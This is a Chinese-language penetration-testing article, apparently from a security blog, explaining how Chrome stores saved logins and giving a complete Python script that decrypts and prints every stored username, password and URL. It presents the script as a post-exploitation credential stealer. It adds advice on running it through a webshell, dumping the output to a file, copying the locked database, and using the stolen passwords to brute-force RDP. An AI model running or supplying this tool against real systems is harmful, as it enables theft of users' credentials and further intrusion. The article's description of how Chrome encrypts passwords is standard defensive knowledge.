密碼破解之Chrome瀏覽器存儲密碼獲取
原創在我們實戰滲透內網過程中,經常會因為各種各樣的密碼破解問題而發愁。相對于外網來說,內網安全是較為脆弱的,因為大量的密碼被重復使用,而如何獲得這些非常有價值的密碼,很可能就是一次滲透能否成功的關鍵。
我們來詳細分析一下,如何針對火狐瀏覽器自動保存的密碼進行獲取,并完成相應的程序編寫。
一、關于Chrome瀏覽器密碼存儲機制:
谷歌瀏覽器加密后的密鑰存儲于%APPDATA%\..\Local\Google\Chrome\User Data\Default\Login Data”(這里的APPDATA是由系統or用戶環境變量決定的)下的一個SQLite數據庫中。那么他是如何加密的呢,通過開源的Chromium,我們來一探究竟:
首先,我們作為用戶登錄一個網站時,會在表單提交Username以及Password相應的值,Chrome會首先判斷此次登錄是否是一次成功的登錄,部分判斷代碼如下:
- Provisional_save_manager_->SubmitPassed();
- if (provisional_save_manager_->HasGeneratedPassword())
- UMA_HISTOGRAM_COUNTS(“PasswordGeneration.Submitted”, 1);
- If (provisional_save_manager_->IsNewLogin() && !provisional_save_manager_->HasGeneratedPassword()){
- Delegate_->AddSavePasswordInfoBarIfPermitted(
- Provisional_save_manager_.release());
- } else {
- provisional_save_manager_->Save();
- Provisional_save_manager_.reset();
- }
當我們登錄成功時,并且使用的是一套新的證書(也就是說是***次登錄該網站),Chrome就會詢問我們是否需要記住密碼。
那么登錄成功后,密碼是如何被Chrome存儲的呢?
答案在EncryptedString函數,通過調用EncryptString16函數,代碼如下:
- Bool Encrypt::EncryptString(const std::string& plaintext,std::string* ciphertext) {
- DATA_BLOB input;
- Input.pbData = static_cast<DWORD>(plaintext.length());
- DATA_BLOB output;
- BOOL result = CryptProtectData(&input, L””,NULL, NULL, NULL, 0,&output);
- If (!result)
- Return false;
- //復制操作
- Ciphertext->assign(reinterpret_cast<std::string::value_type*>(output.pbData);
- LocalFree(output.pbData);
- Return true;
- }
代碼***利用了Widows API函數CryptProtectData(請記住這個函數,因為后面會提到它)來加密。當我們擁有證書時,密碼就會被回復給我們使用。
在我們得到服務器權限后,證書的問題已經不用考慮了,所以下一步,我們解決如何獲得這些密碼。
二、編寫腳本跑出Chrome瀏覽器保存的密碼
因為考慮到在大多數情況下,并不能遠程登錄到服務器上執行GUI的程序,所以做個Python腳本跑一下是***選擇,唯一的缺點是如果WINDOWS不支持PYTHON環境,Python打包成EXE文件的話會比較大。
下面考慮代碼部分,因為用戶不同所在用戶的文件夾就不同,需要知道LOGIN DATA文件的具體路徑,所以我們需要python中的os.environ從環境變量中讀取LOCALAPPDATA的路徑,剩下的路徑是谷歌默認生成。
獲取LOGINDATA文件的寫法為:
- google_path = r’ Google\Chrome\User Data\Default\Login Data’
- file_path = os.path.join(os.environ[‘LOCALAPPDATA’],google_path)
- #Login Data文件可以利用python中的sqlite3庫來操作。
- conn = sqlite3.connect(file_path)
- for row in conn.execute('select username_value, password_value, signon_realm from logins'):
- #利用Win32crpt.CryptUnprotectData來對通過加密的密碼進行解密操作。
- cursor = conn.cursor()
- cursor.execute('select username_value, password_value, signon_realm from logins')
- #接收全部返回結果
- for data in cursor.fetchall():
- passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
- #利用win32crypt.CryptUnprotectData解密后,通過輸出passwd這個元組中內容,可以逐一得到Chrome瀏覽器存儲的密碼。
這里我們用到了CryptUnprotectData這個函數,與之對應的是我們上文提到的CryptProtectData,理論上來說CryptProtectData加密的文本內容,都可以通過CryptUnprotectData函數來解密。對其他服務的解密方式,大家可以自行嘗試。
三、完成實驗腳本
腳本完整代碼如下:
- #coding:utf8
- import os, sys
- import sqlite3
- import win32crypt
- google_path = r'Google\Chrome\User Data\Default\Login Data'
- db_file_path = os.path.join(os.environ['LOCALAPPDATA'],google_path)
- conn = sqlite3.connect(db_file_path)
- cursor = conn.cursor()
- cursor.execute('select username_value, password_value, signon_realm from logins')
- #接收全部返回結果
- for data in cursor.fetchall():
- passwd = win32crypt.CryptUnprotectData(data[1],None,None,None,0)
- if passwd:
- print '-------------------------'
- print u'[+]用戶名: ' + data[0]
- print u'[+]密碼: ' + passwd[1]
- print u'[+]網站URL: ' + data[2]
效果如下:
當然,在取得服務器webshell的情況下,如果有執行權限但無法提權,可以利用這種方法挖掘密碼,進而再利用社工思路對服務器RDP服務密碼進行暴力破解。
如果Webshell不能回顯,可以用類似getpass一樣的方式,導出到文本中。
Python chrome.py > 1.txt
(提示:導出過程中,輸出中文可能會報錯,建議換成英文導出。)
注意:在用戶打開Chrome時,Login Data文件是被上鎖的,如果這時想要對其進行讀取操作,可以將Login Data文件復制到臨時目錄進行讀取操作。